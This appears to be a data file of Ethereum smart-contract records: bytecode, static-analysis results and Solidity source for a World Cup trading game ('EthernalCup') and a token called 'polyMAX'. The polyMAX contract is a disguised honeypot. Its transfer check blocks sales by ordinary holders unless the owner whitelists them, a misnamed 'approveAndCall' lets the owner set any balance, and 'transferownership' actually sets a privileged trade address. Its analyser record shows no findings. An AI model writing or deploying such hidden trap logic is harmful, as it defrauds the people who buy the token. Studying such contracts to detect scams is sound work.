b81811115611bce576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a0057600080fd5b8035611c0481611be4565b919050565b600060208284031215611c1b57600080fd5b8135611a4981611be4565b60008060408385031215611c3957600080fd5b8235611c4481611be4565b946020939093013593505050565b60008060408385031215611c6557600080fd5b50508035926020909101359150565b600080600060608486031215611c8957600080fd5b8335611c9481611be4565b92506020840135611ca481611be4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611cde57600080fd5b823567ffffffffffffffff80821115611cf657600080fd5b818501915085601f830112611d0a57600080fd5b813581811115611d1c57611d1c611cb5565b8060051b604051601f19603f83011681018181108582111715611d4157611d41611cb5565b604052918252848201925083810185019188831115611d5f57600080fd5b938501935b82851015611d8457611d7585611bf9565b84529385019392850192611d64565b98975050505050505050565b600060208284031215611da257600080fd5b5035919050565b8015158114610a0057600080fd5b600060208284031215611dc957600080fd5b8135611a4981611da9565b60008060408385031215611de757600080fd5b8235611df281611be4565b91506020830135611e0281611be4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e3557611e35611e0d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e6257611e62611e0d565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611eb057600080fd5b8151611a4981611be4565b600080600060608486031215611ed057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611efb57600080fd5b8151611a4981611da9565b60008219821115611f1957611f19611e0d565b500190565b6000816000190483118215151615611f3857611f38611e0d565b500290565b600082611f5a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611faf5784516001600160a01b031683529383019391830191600101611f8a565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e95a69a5cb427977f7b8eb6e3216a61cacb1fded65f73e448440e40e8ee2317964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,258 |
0x839192fc5a302732736060a0d59eefa1ed92cbe8
|
pragma solidity 0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
require(msg.sender != address(0));
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EthernalCup is Ownable {
using SafeMath for uint256;
/// Buy is emitted when a national team is bought
event Buy(
address owner,
uint country,
uint price
);
event BuyCup(
address owner,
uint price
);
uint public constant LOCK_START = 1531663200; // 2018/07/15 2:00pm (UTC)
uint public constant LOCK_END = 1531681200; // 2018/07/15 19:00pm (UTC)
uint public constant TOURNAMENT_ENDS = 1531677600; // 2018/07/15 18:00pm (UTC)
int public constant BUY_INCREASE = 20;
uint startPrice = 0.1 ether;
// The way the purchase occurs, the purchase will pay 20% more of the current price
// so the actual price is 30 ether
uint cupStartPrice = 25 ether;
uint public constant DEV_FEE = 3;
uint public constant POOL_FEE = 5;
bool public paused = false;
// 0 "Russia"
// 1 "Saudi Arabia
// 2 "Egypt"
// 3 "Uruguay"
// 4 "Morocco"
// 5 "Iran"
// 6 "Portugal"
// 7 "Spain"
// 8 "France"
// 9 "Australia"
// 10 "Peru"
// 11 "Denmark"
// 12 "Argentina"
// 13 "Iceland"
// 14 "Croatia"
// 15 "Nigeria"
// 16 "Costa Rica
// 17 "Serbia"
// 18 "Brazil"
// 19 "Switzerland"
// 20 "Germany"
// 21 "Mexico"
// 22 "Sweden"
// 23 "Korea Republic
// 24 "Belgium"
// 25 "Panama"
// 26 "Tunisia"
// 27 "England"
// 28 "Poland"
// 29 "Senegal"
// 30 "Colombia"
// 31 "Japan"
struct Country {
address owner;
uint8 id;
uint price;
}
struct EthCup {
address owner;
uint price;
}
EthCup public cup;
mapping (address => uint) public balances;
mapping (uint8 => Country) public countries;
/// withdrawWallet is the fixed destination of funds to withdraw. It might
/// differ from owner address to allow for a cold storage address.
address public withdrawWallet;
function () public payable {
balances[withdrawWallet] += msg.value;
}
constructor() public {
require(msg.sender != address(0));
withdrawWallet = msg.sender;
}
modifier unlocked() {
require(getTime() < LOCK_START || getTime() > LOCK_END);
_;
}
/**
* @dev Throws if game is not paused
*/
modifier isPaused() {
require(paused == true);
_;
}
/**
* @dev Throws if game is paused
*/
modifier buyAvailable() {
require(paused == false);
_;
}
/**
* @dev Throws if game is paused
*/
modifier cupAvailable() {
require(cup.owner != address(0));
_;
}
function addCountries() external onlyOwner {
for(uint8 i = 0; i < 32; i++) {
countries[i] = Country(withdrawWallet, i, startPrice);
}
}
/// @dev Set address withdaw wallet
/// @param _address The address where the balance will be withdrawn
function setWithdrawWallet(address _address) external onlyOwner {
uint balance = balances[withdrawWallet];
balances[withdrawWallet] = 0; // Set to zero previous address balance
withdrawWallet = _address;
// Add the previous balance to the new address
balances[withdrawWallet] = balance;
}
/// Buy a country
/// @param id - The country id
function buy(uint8 id) external payable buyAvailable unlocked {
require(id < 32);
uint price = getPrice(countries[id].price);
require(msg.value > startPrice);
require(msg.value >= price);
uint fee = msg.value.mul(DEV_FEE).div(100);
// Add sell price minus fees to previous country owner
balances[countries[id].owner] += msg.value.sub(fee);
// Add fee to developers balance
balances[withdrawWallet] += fee;
// Set new owner, with new message
countries[id].owner = msg.sender;
countries[id].price = msg.value;
// Trigger buy event
emit Buy(msg.sender, id, msg.value);
}
/// Buy the cup from previous owner
function buyCup() external payable buyAvailable cupAvailable {
uint price = getPrice(cup.price);
require(msg.value >= price);
uint fee = msg.value.mul(DEV_FEE).div(100);
// Add sell price minus fees to previous cup owner
balances[cup.owner] += msg.value.sub(fee);
// Add fee to developers balance
balances[withdrawWallet] += fee;
// Set new owner, with new message
cup.owner = msg.sender;
cup.price = msg.value;
// Trigger buy event
emit BuyCup(msg.sender, msg.value);
}
/// Get new price
function getPrice(uint price) public pure returns (uint) {
return uint(int(price) + ((int(price) * BUY_INCREASE) / 100));
}
/// Withdraw the user balance in the contract to the user address.
function withdraw() external returns (bool) {
uint amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
if(!msg.sender.send(amount)) {
balances[msg.sender] = amount;
return false;
}
return true;
}
/// Get user balance
function getBalance() external view returns(uint) {
return balances[msg.sender];
}
/// Get user balance by address
function getBalanceByAddress(address user) external view onlyOwner returns(uint) {
return balances[user];
}
/// @notice Get a country by its id
/// @param id The country id
function getCountryById(uint8 id) external view returns (address, uint, uint) {
return (
countries[id].owner,
countries[id].id,
countries[id].price
);
}
/// Pause the game preventing any buys
/// This will only be done to award the cup
/// The game will automatically stops purchases during
/// the tournament final
function pause() external onlyOwner {
require(paused == false);
paused = true;
}
/// Resume all trading
function resume() external onlyOwner {
require(paused == true);
paused = false;
}
/// Award cup to the tournament champion
/// Can only be awarded once, and only if the tournament has finished
function awardCup(uint8 id) external onlyOwner isPaused {
address owner = countries[id].owner;
require(getTime() > TOURNAMENT_ENDS);
require(cup.owner == address(0));
require(cup.price == 0);
require(owner != address(0));
cup = EthCup(owner, cupStartPrice);
}
function getTime() public view returns (uint) {
return now;
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063046f7da2146101d057806312065fe0146101e7578063136d6a391461021257806314107f3c1461026957806327e235e31461028c5780633ad10beb146102e35780633ccfd60b146103415780633f651bab14610370578063436a88c11461039b5780634a2a4ebc146103c657806350b04a4e1461044a578063557ed1ba146104c85780635c975abb146104f357806367b1640714610522578063715018a61461052c5780637c3ffdee146105435780638440b3b0146105735780638456cb591461059e57806385d178f4146105b55780638da5cb5b1461060c5780639373f43214610663578063abe7cc7b146106a6578063c6354bc0146106d1578063c7e35a5c146106e8578063dd1b9c4a14610713578063e75722301461073e578063f2fde38b1461077f575b3460066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550005b3480156101dc57600080fd5b506101e56107c2565b005b3480156101f357600080fd5b506101fc61085c565b6040518082815260200191505060405180910390f35b34801561021e57600080fd5b50610253600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a3565b6040518082815260200191505060405180910390f35b61028a600480360381019080803560ff169060200190929190505050610947565b005b34801561029857600080fd5b506102cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c1c565b6040518082815260200191505060405180910390f35b3480156102ef57600080fd5b506102f8610c34565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561034d57600080fd5b50610356610c66565b604051808215151515815260200191505060405180910390f35b34801561037c57600080fd5b50610385610d90565b6040518082815260200191505060405180910390f35b3480156103a757600080fd5b506103b0610d98565b6040518082815260200191505060405180910390f35b3480156103d257600080fd5b506103f4600480360381019080803560ff169060200190929190505050610d9d565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1660ff168152602001828152602001935050505060405180910390f35b34801561045657600080fd5b50610478600480360381019080803560ff169060200190929190505050610df4565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b3480156104d457600080fd5b506104dd610e90565b6040518082815260200191505060405180910390f35b3480156104ff57600080fd5b50610508610e98565b604051808215151515815260200191505060405180910390f35b61052a610eab565b005b34801561053857600080fd5b50610541611129565b005b34801561054f57600080fd5b50610571600480360381019080803560ff16906020019092919050505061122b565b005b34801561057f57600080fd5b50610588611439565b6040518082815260200191505060405180910390f35b3480156105aa57600080fd5b506105b361143e565b005b3480156105c157600080fd5b506105ca6114d8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061857600080fd5b506106216114fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066f57600080fd5b506106a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611523565b005b3480156106b257600080fd5b506106bb6116f6565b6040518082815260200191505060405180910390f35b3480156106dd57600080fd5b506106e66116fe565b005b3480156106f457600080fd5b506106fd611863565b6040518082815260200191505060405180910390f35b34801561071f57600080fd5b5061072861186b565b6040518082815260200191505060405180910390f35b34801561074a57600080fd5b5061076960048036038101908080359060200190929190505050611870565b6040518082815260200191505060405180910390f35b34801561078b57600080fd5b506107c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061188b565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561081d57600080fd5b60011515600360009054906101000a900460ff16151514151561083f57600080fd5b6000600360006101000a81548160ff021916908315150217905550565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561090057600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060001515600360009054906101000a900460ff16151514151561096c57600080fd5b635b4b5360610979610e90565b108061098f5750635b4b99b061098d610e90565b115b151561099a57600080fd5b60208360ff161015156109ac57600080fd5b6109d1600760008560ff1660ff16815260200190815260200160002060010154611870565b9150600154341115156109e357600080fd5b8134101515156109f257600080fd5b610a196064610a0b6003346119e090919063ffffffff16565b611a1b90919063ffffffff16565b9050610a2e8134611a3690919063ffffffff16565b60066000600760008760ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555033600760008560ff1660ff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034600760008560ff1660ff168152602001908152602001600020600101819055507f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed338434604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360ff168152602001828152602001935050505060405180910390a1505050565b60066020528060005260406000206000915090505481565b60048060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111515610cba57600080fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610d875780600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060009150610d8c565b600191505b5090565b635b4b8ba081565b600381565b60076020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900460ff16908060010154905083565b6000806000600760008560ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760008660ff1660ff16815260200190815260200160002060000160149054906101000a900460ff16600760008760ff1660ff168152602001908152602001600020600101548160ff1691509250925092509193909250565b600042905090565b600360009054906101000a900460ff1681565b60008060001515600360009054906101000a900460ff161515141515610ed057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610f3157600080fd5b610f3f600460010154611870565b9150813410151515610f5057600080fd5b610f776064610f696003346119e090919063ffffffff16565b611a1b90919063ffffffff16565b9050610f8c8134611a3690919063ffffffff16565b60066000600460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555033600460000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550346004600101819055507f8db8697e64df645928e8172791b71f3356b894dd8e8825abab082218799fed293334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128857600080fd5b60011515600360009054906101000a900460ff1615151415156112aa57600080fd5b600760008360ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050635b4b8ba06112f6610e90565b11151561130257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561136257600080fd5b600060046001015414151561137657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113b257600080fd5b60408051908101604052808273ffffffffffffffffffffffffffffffffffffffff168152602001600254815250600460008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050505050565b601481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561149957600080fd5b60001515600360009054906101000a900460ff1615151415156114bb57600080fd5b6001600360006101000a81548160ff021916908315150217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158057600080fd5b60066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600060066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b635b4b99b081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175b57600080fd5b600090505b60208160ff16101561186057606060405190810160405280600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff168152602001600154815250600760008360ff1660ff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548160ff021916908360ff160217905550604082015181600101559050508080600101915050611760565b50565b635b4b536081565b600581565b600060646014830281151561188157fe5b0582019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561192257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008414156119f55760009150611a14565b8284029050828482811515611a0657fe5b04141515611a1057fe5b8091505b5092915050565b6000808284811515611a2957fe5b0490508091505092915050565b6000828211151515611a4457fe5b8183039050929150505600a165627a7a72305820d5bbaa59f0733200e592bc80a971faa58df5a76ea9403f991c5dee5fad733ba30029
|
{"success": true, "error": null, "results": {}}
| 4,259 |
0xe5401e07c204a0d657cdf7a787319077b24d6981
|
/**
{__ {__ {__ {_ {__ {__
{__ {_ {__ {___ {_ __ {__ {__
{_ {__ {__ {__{__ {__{__ {__ { {__ {_ {__ {__ {__
{_ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__
{_ {__{__ {__ {__ {___ {__ {_ {__ {______ {__ {__ {__
{__ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__
{__ {__ {___ {__ {__ {__{__ {__{__ {__
{__ {__
polyMAX
tg: t.me/polyMAXETH
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract polyMAX {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b60405180828152602001